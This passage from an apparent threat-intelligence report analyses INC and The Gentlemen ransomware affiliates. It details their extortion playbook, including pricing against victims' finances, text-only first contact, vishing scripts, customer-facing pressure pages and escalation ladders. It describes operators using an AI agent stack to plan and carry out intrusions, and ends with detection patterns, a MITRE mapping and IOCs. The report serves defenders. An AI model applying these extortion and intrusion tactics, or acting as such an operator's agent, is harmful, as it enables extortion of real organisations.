mail; price set as a share of revenue, then re-sized to
payment capacity.

A demand the victim can
pay without a bank or
insurer intervening.

2. Leverage map Compliance and customer-concentration material
located in the tree: certification and licensing files,
KYC/AML archives, key-customer correspondence,
credentials and certificates.

Regulatory and commercial
harm that does not depend
on downtime.

3. Proof Masked samples (truncated keys and TOTP secrets,
GPS rows, file listings, account names) kept consistent
between letter and proof files; the crown-jewel dataset
held back. Proofs are queried from stolen databases
restored on an operator-controlled SQL server (35
databases, about 1.85 TB; five large copies were
dropped to free 1.27 TB for further imports).

Credibility without handing
the victim's responders
forensic material.

4. First contact Text-only mail to ownership or the CEO/CFO, with no
attachment, no clickable link and, in the luxury case, no
price; sent in business hours; verification offered on
request ("name any database").

Force a reply, not close
terms.

5. Telephone pressure Scripted calls from day 2 (see below). Confirm delivery, defeat
"never received it", move the
contact to the private
channel.

6. Escalation ladder Customers and partners, then industry or certification
bodies, then regulators, then publication; deadlines of
24 to 72 hours; price steps.

Make delay costlier than
payment.
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Phase What the records show Purpose

7. Third-party and
public pressure

Customer-facing notice page, leak-site listing, partner
portal.

Turn the victim's own
customers into the pressure
channel.

8. Payment and
handover

Planned only: Monero preferred (Bitcoin accepted), air-
gapped wallet, .onion negotiation portal, 10
confirmations, scripted decryptor-and-wipe handover,
chain swapping, teardown after payment.

Operational security for
cash-out. No wallet address
or payment record was
recovered.

Audit report of a victim in KB records
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Case Records

Case Timeline in the records Outcome evidence

Aidon Audit on August 2 with a EUR 15M demand (EUR 13M
for settlement within 48 h) and a tiered model: private
channel 0 to 48 h, public notification at 48 to 96 h with
EUR 25M, data release after 96 h.

By August 11 "phase 1 completed, direct contact with
proof files sent"; the target answered through an IR
consultant ("provide more evidence"); demand lowered
to EUR 10M / 8M.

On August 15 the addressed parent group replied with
a denial. The operator checked its own dump
(administrator-account e-mail domains: none of the
parent's, dozens of the real platform operator's),
concluded the denial was correct and re-targeted the
operator company with a EUR 4M / 2.5M, 72-hour letter
(v2 text-only, August 18).

The only recorded victim replies
in the capture. The operator
recorded the lesson itself:
verify administrator-account
domains before first contact.
The company later appears as
an INC public-site claim
(September 3); the link
between the contact and the
listing is not established.

Leo Schachter
Diamonds

August 15 target intelligence and pricing; August 16
four-message set branded "The Gentlemen"; August 17
the price removed from the first letter, which the
operator reports as sent the same day; vishing planned
for August 19; message 2 on August 27, price reveal on
September 1, 48-hour ultimatum on September 6.

Sending is an operator
statement; no mail artifact,
receipt or reply was recovered.
The KB exports end on August
27, and the OpenCode keyword
sweep found no later
negotiation record. No
confirmed blog or secure-
channel link is recorded for the
sent version.

Trulite Glass &
Aluminum
Solutions (C02)

August 5 to 10 directory-tree and infrastructure notes
and an announcement template claiming 8 TB, with a
proof-of-access section; a customer-facing notice and
an INC listing dated September 9.

Content match between the
saved notice and the INC post
identifier; claimed volumes
unrecounted.

Healthcare
network

OpenCode audit note on August 2: the victim
"responded promptly", evidence was shared as a
curated eight-section file tree, 24-hour deadline, price
band AUD 3M to 8M (0.7% to 1.8% of deal value).

Operator note only.



Uncovering the AI-Driven Offensive Infrastructure of INC and The Gentlemen Ransomware Affiliates 64

Timeline of the cases

Telephone Pressure (Vishing)

Voice communications focus on payload delivery and engagement rather than financial negotiations.
Operational records show tailored outreach for high-value targets, standard frameworks for general
utilities, and legacy templates:

Verification & Outreach Strategies: IT staff receive two verified internal data points, with scripts directing
them to personal devices

Objection Management: Fraud claims are countered with exfiltrated facts, non-payment with operational
risk, while law enforcement mentions trigger courteous call termination. Discount or call-tracing requests
are rerouted to secure channels

Operational Security (OPSEC): Operators use neutral accents, three-minute call limits, recorded lines,
clean VPS/SIP infrastructure, and spoofed local caller IDs, keeping focus on commercial risk
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Target Response Telemetry: Callbacks signal active tracing, while security transfers indicate
incident response

Script Archetypes: Frameworks range from direct threat scripts to internal "incident manager"
impersonation (risk.management.849[@]proton[.]me), with additional vishing and AitM models indexed

Vishing Package for SNGCORP (Leo Schachter Diamonds)

Customer-Facing Extortion

In the Trulite Glass & Aluminum Solutions incident (previously listed on the INC leak platform) on
August 4, 2026, a "Security Incident Notice" was identified on port 443 of 45.227.254[.]45.
Subsequent analysis revealed it was hosted on "trulitesupport[.]com" - a spoofed support domain
functioning behind Cloudflare infrastructure. This document functions as an extortion tool directed at
the victim's client base rather than the organization itself, a technique previously utilized by INC
Ransom against law firms.

Claim: 39,000+ accounts, 76,000+ customer records, and 42 locations compromised, covering financial,
operational, and credential data. The 8 TB claim from earlier templates is omitted

Framing: "Issued because management has refused to acknowledge or disclose this incident"; "we have
no interest in your company's data; our matter is solely with" the victim; the notice presents itself as
a courtesy

https://socradar.io/free-tools/ransomware-intelligence/victims/trulite-glass-aluminum-solutions-inc-ransom-4e2f2e45
https://socradar.io/blog/inc-ransom-law-firm-extortion/
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Recipient Instructions: Urges customers to pressure the vendor, review credit/payments, monitor
finances, and check credentials

Leak Site Link: Provides the INC post Tor address matching the listing

Distribution: Targets the victim's stolen active account list. Lacking delivery logs, distribution is inferred
from text, and authorship remains unauthenticated

Customer-facing Extortion page "Security Incident Notice" on trulitesupport[.]com
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Decision Logic

Decision Operator reasoning in the records

Data extortion before
encryption

Leverage relies on compliance data over downtime, as backups enable quick
recovery. Encryption triggers authorities, insurers, and negotiators, reducing
settlements. Deployment increases attribution risks, while an EDR detection
forces self-disclosure, devaluing exfiltrated data. Locking remains a final
reserve option.

No price in the first letter Initial contact forces engagement without stating a figure, as explicit amounts
trigger legal stalling. Demand figures are introduced on day 15 to escalate
pressure.

Re-pricing from the victim's
own finances

Demands were lowered from $10M to $5M after audits showed financial
distress, targeting $2-2.5M with a $1.2M floor. Excessive demands risk
insolvency, so capacity is evaluated at the owner level ($40M in loans).

Text-only first contact Emails are sent in plain text between 08:00 and 10:00 local time. Attachments
and clickable .onion links are omitted to bypass mail gateways and prevent
forensic analysis.

Withhold the crown jewels Send three to five critical files alongside third-party data to demonstrate
downstream impact, while withholding core datasets in reserve.

Anti-stalling Address stalling tactics directly, set a strict 48-hour proof window, offer live
database verification, and threaten further escalation with third-party impacts
in a professional tone.

Impersonation threat Compromised executive accounts are intentionally left unused to preserve
persistence while threatening spoofed communications.

Brand and Channels

Communication channels and group branding differ between the two entities:

The Gentlemen: Ransom notes bear the signature "- The Gentlemen" and frame the organization as a
corporate archive broker. They state that they "do not bluff, do not exaggerate holdings, and honor
completed transactions absolutely," referencing a placeholder blog reserved for "prior matters"

INC Ransom: Decoded ransom notes route victims to a Tor-based chat portal requiring a unique 24-
character personal identifier, alongside leak site addresses (incblog[.]su and its Tor onion mirror).
Because this 24-character ID is directly compiled into the binary payload, the note explicitly links the
victim's chat session to their designated build
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Chat portal login page

Chat portal main page
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Chat portal

Attribution and Operating Model
Exposed findings demonstrate that these threat actors function both as intrusion and data-extortion
operators and as suppliers of infrastructure and tooling. They maintain a common repository of
operational assets - comprising target reconnaissance data, harvested credentials, administrative
access, Command and Control (C2) packages, deployment scripts, partner documentation, extortion
templates, proof-of-compromise packages, exfiltrated files, and execution transcripts. However,
incomplete telemetry and disjointed log records prevent a definitive determination of team headcount
or individual tactical assignments.

Both groups' brand associations are substantiated through case-specific evidence.

The Gentlemen Ransomware: The case for Leo Schachter Diamonds contains complete group
branding, including negotiation communications signed “The Gentlemen,” a tiered four-stage
extortion progression, and an outline for vishing operations. Initial engagement with this target is
documented independently in the knowledge base. While the victim is listed on The Gentlemen's
public leak blog, this specific archive lacks a leak-site snapshot (referencing only a placeholder
blog link).
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AI session logs referencing Leo Schachter Diamonds and The Gentlemen’s leak blog post

INC Ransomware: The connection to the group extends well beyond shared branding, as evidenced
by several key findings:

Custom Binaries: A total of 46 encryptor binaries were compiled for six targeted organizations. Each
binary decrypts the (~~~~INC Ransom ~~~~) ransom note containing links to incblog[.]su and two
dedicated onion locations

Overlapping Victim Listings: INC's public leak site shows three victims - Aidon, Trulite, and City of
Princeton, TX - that directly correspond to internal case files

Internal Deployment Communications: Chat logs from an onion-based INC administration panel
(incadmd42…/dashboard/chat) alongside the operators’ Rocket.Chat session explicitly list the staged
payload packages scheduled for release on October 1 at the time of observation

Furthermore, the threat actors leveraged dedicated service accounts, including FOFA API accounts
tied to smilefacesec[@]gmail[.]com, to conduct scanning operations against public-facing
internet devices.
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FOFA search queries linked to the operator's email address as logged in AI sessions

Cross-referencing the email address against leaked databases using the SOCRadar Threat Hunting
Module reveals that the operator registered an account on BreachForums under the username
“sm4l1st123” using this exact address.

SOCRadar Threat Hunting

AI as the Co-operator
The ecosystem's defining characteristic, assessed with high confidence, is its AI-executed and
human-approved operating structure. Across the compromised hosts, the human operator acts as a
supervisor - directing, approving, and making strategic choices - while the underlying AI stack
handles execution. Utilizing OpenCode for the interface, models hosted on OpenRouter, the
Phantom skill library, and knowledge bases for memory, the framework autonomously carries out
core operational tasks: planning reconnaissance, choosing techniques, generating commands,
evaluating and prioritizing data, and drafting investigative reports.

Infrastructure Operations: Across the fleet, OpenCode state is distributed across multiple instances:

https://socradar.io/blog/breachforums-teampcp-supply-chain-competition/
https://platform.socradar.com/app/threat-hunting


Uncovering the AI-Driven Offensive Infrastructure of INC and The Gentlemen Ransomware Affiliates 72

The 45.227.254[.]84 node hosts a 343 MB database containing 101 sessions, 4,909 messages logged
between August 2, 2026, and September 28, 2026, with an incurred cost of $244.57 alongside 92
retained session files

The 45.227.254[.]43 instance comprises 153 MB and 32 sessions from August 24, 2026, to September
1, 2026

The 45.227.254[.]45 node functions as a config-only partner replica. OpenCode integrates with a
collection of WormGPT-MCP servers, routing models via OpenRouter (specifically moonshotai/kimi-k3,
previously anthropic/claude-opus-4.6)

Operator Direction & Human Approval: Operational execution follows a strict interactive workflow
(e.g., "у нас новая цель… Таргет назовем ***"), where the AI agent outlines numbered steps and
waits for explicit operator authorization ("да" / "3" / "5") under the guiding directive "Все действия
согласовывай со мной". Campaign-specific master prompts are dynamically loaded from
/root/Documents for each target.

Operator prompt in 45.227.254[.]84’s opencode.db

Persistent Knowledge Base (Memory): Serving as the core analytical corpus for this study and the
operator's central memory store, the AI-managed repository (wormgpt-kb/knowledge.db) contains
1,765 searchable entries across 44 recorded sessions. Supplemented by over 79,700 lines of
historical and recovered export logs, it tracks compromised credentials, victim profiles, and overall
campaign progression - including a notable domain-administrator record from August 28.



Uncovering the AI-Driven Offensive Infrastructure of INC and The Gentlemen Ransomware Affiliates 73

Evidence of domain administrator access and data exfiltration

Extortion Capability: Within the WormGPT-MCP repository, the ransom-ops server lists 13
specialized tools - including negotiation advisors, revenue lookup utilities, data evaluators, pricing
calculators, message generators, insurance detectors, deadline strategists, and media-pressure
tools. One invocation was logged: an August 28 company_revenue_lookup retrieved IRS Form
990 data ($18.3M revenue, $81.6M net assets). Primary extortion actions are managed via central
knowledge base playbooks rather than direct tool execution. For more information, see the
Extortion Playbook.

User prompt in 45.227.254[.]43’s opencode.db
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Execution Surface: The operational capabilities of the framework rely on Phantom’s router, autopilot,
and 18 specialized SKILL modules. In certain workflows, "autopilot" achieves successful execution
states independently without requiring a dedicated executor.

Infrastructure Funding: A live status check conducted on October 5, 2026 verified two active, paid
OpenRouter accounts: one consuming roughly $4-5 per day into early October (with an expiration
date of October 25, 2026), and another nearly exhausted after totaling $23,920 in expenditure. Four
additional API keys appeared to have been removed at the time of observation.

OpenRouter API Key Usages by the threat actors at the time of observation

The AI infrastructure was the campaign's essential engine. Guided by human strategic direction,
models autonomously planned recon, selected techniques, ran commands, triaged data, and drafted
terms. However, this total reliance on AI memory backfired, transforming the underlying knowledge
bases and session logs into a comprehensive evidence trail of the entire operation.

Partner Provisioning & Operational Role Boundaries
An onboarding guide (README_PARTNER.md) on dev node 45.227.254[.]45 outlines a handoff to
an external operator workbench. It covers core components (Phantom's 18 SKILL modules,
agent/listener pair, OpenCode, KB service, WormGPT-MCP servers), build pipelines, and
target workspaces, instructing operators to supply model API keys and run OpenCode and
Phantom commands.

These metrics - "35 MCP servers," "55+ tools," and "9K+ CVE PoC" - match the archived package
inventory, which contains 32 dedicated server.py folders (35 with OpenCode adapters), a system-
wide tool installer, and CVE entries indexed in cve-index.db.

Artifacts show the environment administrator supplied tools and infrastructure for added operators.
In underground forums and ransomware operations, "partner" denotes an affiliate working with
another group or individual. This setup reflects a standard affiliate structure using shared
infrastructure for ransomware operations - evidenced by custom encryptors, extortion kits, and
shared victim listings with INC and The Gentlemen.
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README_PARTNER.md

STRU assesses with high confidence that the hosts served as an active intrusion-
development and operational workbench, with Phantom functioning as an operator-
centric framework. The ecosystem managed assets linked to both INC Ransomware
and The Gentlemen Ransomware groups’ operators. Case-level evidence is strong, but
confidence in a formal dual-brand alliance is evaluated as low, while confidence in a
shared operational environment used by operators across both groups is moderate-to-
high. The most plausible structure is a dedicated tooling and infrastructure provider
supporting various partners across the ransomware ecosystem.
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Victimology
While certain entities surface publicly on ransomware leak portals, others remain documented solely
within operator session logs - whether recorded as target inventory items or mapped network scans.
To provide clarity, this section evaluates all identified organizations across three key metrics:
classifying each target by the severity of executed operations (impact grade), mapping distribution
by geographic country, and identifying entities previously disclosed on public INC or The Gentlemen
extortion sites.

Level Operational Meaning Orgs

L5 - Public extortion listing Named on a leak site and tied to local case
evidence.

4

L4 - Encryption / extortion stage Encryptor built or run for the victim, or data
staged for exfiltration, without a public listing.

4

L3 - Domain-level compromise Domain Admin, NTDS/DCSync, ZeroLogon or
equivalent.

14

L2 - Foothold / access Credentials, bot or VPN access, or device
inventory.

28

L1 - Recon / targeting only Scans, enumeration, target-list mentions. 12

Total named organizations - 62

Victims by Country

The geographical analysis reveals a heavy concentration of targeting within the United States, which
represents 36 of the 62 named organizations across various compromise and impact levels.
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Geographic distribution of Victims
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Victims by Sector

Sector distribution of victims

By industry sector, operations were predominantly directed toward the industrial, manufacturing, and
energy domain (16.1%) as well as healthcare and pharmaceutical organizations (14.5%).

Victims by Revenue

Data compiled from INC listings, OSINT logs, and public records reveals that among 35 classifiable
targets, operations focused heavily on the mid-market. Specifically, 27 entities had revenues at or
below this tier, while 8 exceeded $250M. Targets encompassed small enterprises breached via a
managed service provider (MSP) alongside larger organizations compromised through independent
attack vectors. Although the MSP’s clientele comprises mainly small businesses, four publicly named
victims generated revenues between $50M and $1.1B.
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Revenue distribution of victims

Revenue-Based Demand Adjustments: Demands are initially scaled to estimated revenue and
refined using exfiltrated financial data. In a Leo Schachter Diamonds case, an initial demand of 2.5%
on a $400M valuation was lowered to $5M after audit records revealed $143M actual revenue and
liquidity constraints. In a Finnish-company case, a €15M demand was cut to €10M, then reset to €4M
/ €2.5M for the actual platform operator (revenue €4-6M) after the parent disclaimed ownership.

Third-Party Pressure Shift: If a primary target cannot pay, pressure shifts to third parties. Focus
moved to an insurer and client base when a firm couldn't pay €15M, and an active acquisition deal
was leveraged in a healthcare case.
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Conclusion
This investigation exposes the inner workings of an affiliate-driven intrusion ecosystem tied to INC
and The Gentlemen Ransomware groups. Operating across seven interconnected adversary servers
- including build hubs, staging environments, C2 nodes, and operator workstations - the threat actors
demonstrated a scalable affiliate model utilizing customized binaries, staged cross-platform
encryptor kits, and multi-channel extortion strategies.

Central to their success was the large-scale exploitation of public-facing edge infrastructure - most
notably FortiClient EMS gateways, SimpleHelp remote management servers, and cPanel controls -
paired with custom tooling like the Phantom framework, Ghost C2, RevSocks proxies, and BYOVD
security product killers. While AI-driven workflows provided operational structure and rapid task
execution, the resulting reliance on persistent AI databases and centralized session logs created a
critical OPSEC failure - transforming their operational backend into a comprehensive evidence trail
that ultimately enabled full campaign analysis, infrastructure mapping, and threat attribution.

Recommendations
Apply security updates to FortiClient EMS, Fortinet, and SonicWall gateways, block public internet access
to management interfaces, and regularly review EMS for unauthorized administrator accounts or modified
VPN connection scripts

Harden MSP and RMM environments by mandating multi-factor authentication (MFA), enforcing IP
allowlists, using dedicated administrative accounts, and monitoring for new script executions or
deployments, ensuring third-party MSP partners enforce identical controls

Maintain an up-to-date inventory of remote-access solutions (including SimpleHelp, MeshCentral, and N-
central), apply relevant security patches, restrict usage, and block unauthorized software

Strengthen Active Directory security by deploying Zerologon patches, decommissioning legacy Windows
Server 2008 R2 domain controllers, implementing LAPS and gMSAs, enforcing administrative privilege
tiering, and auditing replication permissions and AAD Connect accounts

Protect backup infrastructure through immutable or air-gapped storage solutions while isolating and
patching Veeam management consoles, ensuring backups are not relied upon as the sole defense against
extortion attempts

Turn on EDR tamper protection features, enforce blocklists for vulnerable drivers, and configure alerts for
security service deletions or interruptions
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Track outbound connections to cloud storage and large-scale data transfers, limiting utility execution
(such as restic or rclone) strictly to authorized endpoints

Restrict remote Office template loading and prevent HTML smuggling attacks while training personnel to
detect vishing attempts and fraudulent password prompts

Establish data extortion incident response capabilities by retaining IR services, drafting legal and breach
notification templates, and continuously tracking typosquatting domains and leak portals

Isolate hypervisors, ESXi environments, and central file servers from standard user networks

Detection and Hunting
EMS & Gateway Anomalies: Creation of unauthorized privileged EMS accounts (such as sysadmin,
fct_svc_*, or ems_monitor_*), manipulation of VPN profiles, missing audit log entries, and forged client-
certificate HTTP headers

Initial Access & Staging Activities: Microsoft Office applications downloading remote .dotm templates,
script-styled URLs serving PowerShell payloads, execution of curl or certutil spawned by Office or web
browsers, and scheduled tasks registered under RealtekAudioSvc

Command & Control (C2) / Tunneling Traffic: Network traffic matching RevSocks, Chisel, or Ligolo
tunneling patterns, Python C2 beacons with disabled TLS verification, URIs associated with mTLS
management panels, and DNS queries directed to identified malicious domains

Active Directory & Credential Abuse: Directory replication requests originating from non-DC hosts, direct
reads of shadow-copied ntds.dit files, sudden spikes in RC4 Kerberos service-ticket requests, and
anomalies within Netlogon secure channels

Lateral Movement & Remote Access: Deployment of unauthorized RMM agents, execution of scripts or
interactive remote sessions outside change windows, and instances where the Remote Registry service is
initiated immediately prior to enabling RDP

Defense Evasion & Security Impairment: Loading of the Zemana driver alongside service termination or
file deletion targeting Quick Heal and Seqrite security products

Data Staging & Exfiltration: Active restic or rclone execution, creation of large compressed archives, and
bulk data uploads targeting external object storage services
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Ransomware Execution & Encryption: Windows Restart Manager invocations by non-installer processes,
volume handle opens matching \\.\X: paired with IOCTL 0x53C028, widespread file renames to the .INC
extension, and the presence of INC-README.txt notes

Extortion & External Brand Misuse: Look-alike domains hosting spoofed notification pages and customer
communications referencing data leaks on public extortion blogs

MITRE ATT&CK Mapping
Tactic Technique Procedure

Reconnaissance T1595.002 Vulnerability Scanning Scanner and FOFA-style lists of EMS,
SimpleHelp, mail and VPN hosts.

Reconnaissance T1591 Gather Victim Org Information OSINT dossiers on revenue, ownership and
leverage before pricing.

Resource
Development

T1583.001 Domains Look-alike customer-notice domain and delivery
domains.

Resource
Development

T1587.001 Malware Phantom, Ghost, loaders and the security-tool
killer, built with AI assistance.

Resource
Development

T1588.002 Tool Mythic/Athena, Sliver, Ligolo-ng, Chisel,
NetExec, BloodHound.

Initial Access T1190 Exploit Public-Facing
Application

FortiClient EMS, SimpleHelp, cPanel and mail-
server exploits against listed targets.

Initial Access T1133 External Remote Services FortiVPN and SonicWall NetExtender access into
victim networks.

Initial Access T1078 Valid Accounts Captured or reused domain and VPN credentials
for entry and pivoting.

Initial Access T1566.001 Spearphishing
Attachment

Template-injection .dotm and LNK-in-ZIP lures.

Initial Access T1566.004 Spearphishing Voice Vishing scripts for calls to victim staff.

Execution T1059.001 PowerShell Stage-two loader and persistence variants.

Execution T1059.006 Python svc.py implant and PyInstaller/Nuitka agents.

Execution T1204.002 Malicious File Lure document or LNK launches stage one.

https://attack.mitre.org/techniques/T1595/002/
https://attack.mitre.org/techniques/T1591/
https://attack.mitre.org/techniques/T1583/001/
https://attack.mitre.org/techniques/T1587/001/
https://attack.mitre.org/techniques/T1588/002/
https://attack.mitre.org/techniques/T1190/
https://attack.mitre.org/techniques/T1190/
https://attack.mitre.org/techniques/T1133/
https://attack.mitre.org/techniques/T1078/
https://attack.mitre.org/techniques/T1566/001/
https://attack.mitre.org/techniques/T1566/001/
https://attack.mitre.org/techniques/T1566/004/
https://attack.mitre.org/techniques/T1059/001/
https://attack.mitre.org/techniques/T1059/006/
https://attack.mitre.org/techniques/T1204/002/
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Tactic Technique Procedure

Execution T1072 Software Deployment Tools N-central panel pushes encryptor builds to
customer endpoints; encryption observed once.

Persistence T1136 Create Account EMS backdoor super-admin sysadmin via
/api/v1/admins/create; stealth-admin names; a
created domain-admin account.

Persistence T1053.005 Scheduled Task RealtekAudioSvc task for svc.py.

Defense Impairment T1685 Disable or Modify Tools Quick Heal/Seqrite killer with Zemana driver;
service-stop logic.

Defense Impairment T1070.006 Timestomp INC quiet mode restores last-write times
(SetFileTime, 0x405126).

Defense Evasion T1036 Masquerading Realtek, Windows-Update and WUServiceHost
names on implants.

Defense Evasion T1027.006 HTML Smuggling Invoice page builds a LNK-in-ZIP blob in the
browser.

Credential Access T1003.006 DCSync DCSync-format account output (267 rows) for
one victim.

Credential Access T1003.003 NTDS Shadow-copy ntds.dit dumps and retained
images in several cases.

Credential Access T1558.003 Kerberoasting Service-ticket extraction in several domains.

Credential Access T1555.003 Credentials from Web
Browsers

Stealer output with thousands of browser
entries.

Credential Access T1056.002 GUI Input Capture Fake lock screen on bot-infected hosts captures
the user password.

Credential Access T1110 Brute Force RDP, SSH, cPanel and OWA spraying; one OWA

success recorded.

Discovery T1087.002 Domain Account LDAP and BloodHound directory collection.

Discovery T1135 Network Share Discovery SMB share and file-tree listings across servers.

Discovery T1083 File and Directory Discovery Encryptor traversal with
FindFirstFileW/FindNextFileW; confirmed in a
sandbox run.

Discovery T1057 Process Discovery Toolhelp snapshot behind the encryptor proc
option.

https://attack.mitre.org/techniques/T1072/
https://attack.mitre.org/techniques/T1136/
https://attack.mitre.org/techniques/T1053/005/
https://attack.mitre.org/techniques/T1685/
https://attack.mitre.org/techniques/T1070/006/
https://attack.mitre.org/techniques/T1036/
https://attack.mitre.org/techniques/T1027/006/
https://attack.mitre.org/techniques/T1003/006/
https://attack.mitre.org/techniques/T1003/003/
https://attack.mitre.org/techniques/T1558/003/
https://attack.mitre.org/techniques/T1555/003/
https://attack.mitre.org/techniques/T1555/003/
https://attack.mitre.org/techniques/T1056/002/
https://attack.mitre.org/techniques/T1110/
https://attack.mitre.org/techniques/T1087/002/
https://attack.mitre.org/techniques/T1135/
https://attack.mitre.org/techniques/T1083/
https://attack.mitre.org/techniques/T1057/
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Tactic Technique Procedure

Lateral Movement T1021.002 SMB/Windows Admin
Shares

NetExec admin-success relations (17 peers in
one case).

Lateral Movement T1021.001 Remote Desktop Protocol RDP enabled through Remote Registry on an
EDR-protected host.

Lateral Movement T1210 Exploitation of Remote
Services

Zerologon (CVE-2020-1472) against two domain
controllers.

Collection T1074.001 Local Data Staging SQL and mail proof builders; staged exports.

Collection T1114.001 Local Email Collection 4,481 EML files in the luxury-goods case.

Collection T1005 Data from Local System Finance, HR and legal file selection lists
(planning).

Command and
Control

T1071.001 Web Protocols Ghost, Phantom and Athena HTTPS
configurations and panel logs.

Command and
Control

T1090 Proxy Reverse-proxy templates, Worker relay, SOCKS5
and a lab Chisel session.

Command and
Control

T1572 Protocol Tunneling Ligolo, Chisel and RevSocks tunnels.

Command and
Control

T1219 Remote Access Software SimpleHelp, MeshCentral and N-central agents
used as control channels.

Command and
Control

T1105 Ingress Tool Transfer curl/certutil retrieval of stage-two payloads.

Exfiltration T1567.002 Exfiltration to Cloud
Storage

Restic uploads to object storage in operator
messages; volumes unverified.

Impact T1486 Data Encrypted for Impact Three INC builds; sandbox run encrypted a
synthetic profile; one victim screenshot shows
live encryption.

Impact T1489 Service Stop serv path: EnumServicesStatusExW and
ControlService stop at 0x40cf1a.

Impact T1490 Inhibit System Recovery Shadow-copy removal through volume handle
and IOCTL 0x0053C028.

Impact T1657 Financial Theft Extortion letters, escalation ladders, pricing and
customer notice pages.

https://attack.mitre.org/techniques/T1021/002/
https://attack.mitre.org/techniques/T1021/002/
https://attack.mitre.org/techniques/T1021/001/
https://attack.mitre.org/techniques/T1210/
https://attack.mitre.org/techniques/T1210/
https://attack.mitre.org/techniques/T1074/001/
https://attack.mitre.org/techniques/T1114/001/
https://attack.mitre.org/techniques/T1005/
https://attack.mitre.org/techniques/T1071/001/
https://attack.mitre.org/techniques/T1090/
https://attack.mitre.org/techniques/T1572/
https://attack.mitre.org/techniques/T1219/
https://attack.mitre.org/techniques/T1105/
https://attack.mitre.org/techniques/T1567/002/
https://attack.mitre.org/techniques/T1567/002/
https://attack.mitre.org/techniques/T1486/
https://attack.mitre.org/techniques/T1489/
https://attack.mitre.org/techniques/T1490/
https://attack.mitre.org/techniques/T1657/
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Indicators of Compromise (IOCs)
For the full IOC list, consult the SOCRadar platform.

Type Indicator Note

IP 45.227.254[.]43 OpenCode / KB /
Phantom

IP 179.60.149[.]68 staging / pivot

IP 45.227.254[.]45 build and
deployment hub

IP 45.227.254[.]84 Kali / VM host

IP 77.110.109[.]248 RevSocks host

IP 89.185.83[.]8 Ghost / delivery

IP 138.124.113[.]210 Ghost panel

Domain system-strategy[.]org Ghost / Phantom
redirector zone

Domain iquickline[.]com Phantom / Athena
C2 zone

Domain mcgrawney[.]com Phantom redirector
zone

Domain driverupdate[.]app Retired C2 zone

Domain stackpathcloud[.]com Retired C2 zone

Domain cloud-update[.]live MeshCentral C2
front

Domain bossprotect[.]com Mail / phishing
domain

Domain trulitesupport[.]com Look-alike
customer-notice
page

Domain incblog[.]su INC leak-site mirror
(note)

Onion incpaykabjqc2mtdxq6c23nqh4x6m5dkps5fr6vgdkgzp5njssx6qkid[.]onion INC payment portal
(note)

https://platform.socradar.com/
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Type Indicator Note

Onion incblog6qu4y4mm4zvw5nrmue6qbwtgjsxpw6b7ixzssu36tsajldoad[.]onion INC leak site (note)

Onion incblog4uttkxd6b4grii6k2qcj2tn5k37seep5xto3dlghyqla7u7qd[.]onion INC site snapshot

Onion incadmd42ytgp4hwkejirji4m6pcbacazoeic7fc5sd27nr7it5ajyqd[.]onion INC dashboard /
chat (VM
screenshot)

Onion z26qmezqaixjp3k6spvdpool4us6m3ei453f7wgl7gouojmp2ttkdgad[.]onion Legacy Rocket.Chat
hidden service

URL / path /assets/js/analytics.js Disguised loader
path

SHA-256 ffca6aa96572743200f9f0040a3e435766f6d7c15d6a4c72045a0cbb4db72eb4 INC build A

SHA-256 0ae4447d755593ee1931170d4187a07a29bf0690179acc39b7400a4c65cd07c5 INC build B

SHA-256 14b711bd51096796ac6b38c30e3cced197831092956a4c6ff8d1f5ebb4432212 INC build C

SHA-256 ec4ba1d570601eaa1474ab7cfffafcff218a717e44e8d2d22ed0573676b0463e INC kit 1, Windows

SHA-256 ca02f60942a43d8f8b973baa3231df1f8c26328750baa2ed8d4cf07335084ebb INC kit 2, Windows

SHA-256 ffd47c59a9960a293002c4fff481f613892599191356589eb7b6950ef7465918 INC kit 3, Windows

SHA-256 70f28e18e7f4083cd542e6bff6b2682f3876c5ef4bcf4323aa22a6d03d4a8a82 INC kit 1, Linux

SHA-256 7ad718a530a2913f775e62c656060af79ffde5c1f2c04138bcc068142f162a20 INC kit 2, Linux

SHA-256 4286e7035096d002a0f90aca19b93504d7c69354cf0c76eb8b3c93bae2b7885a INC kit 3, Linux
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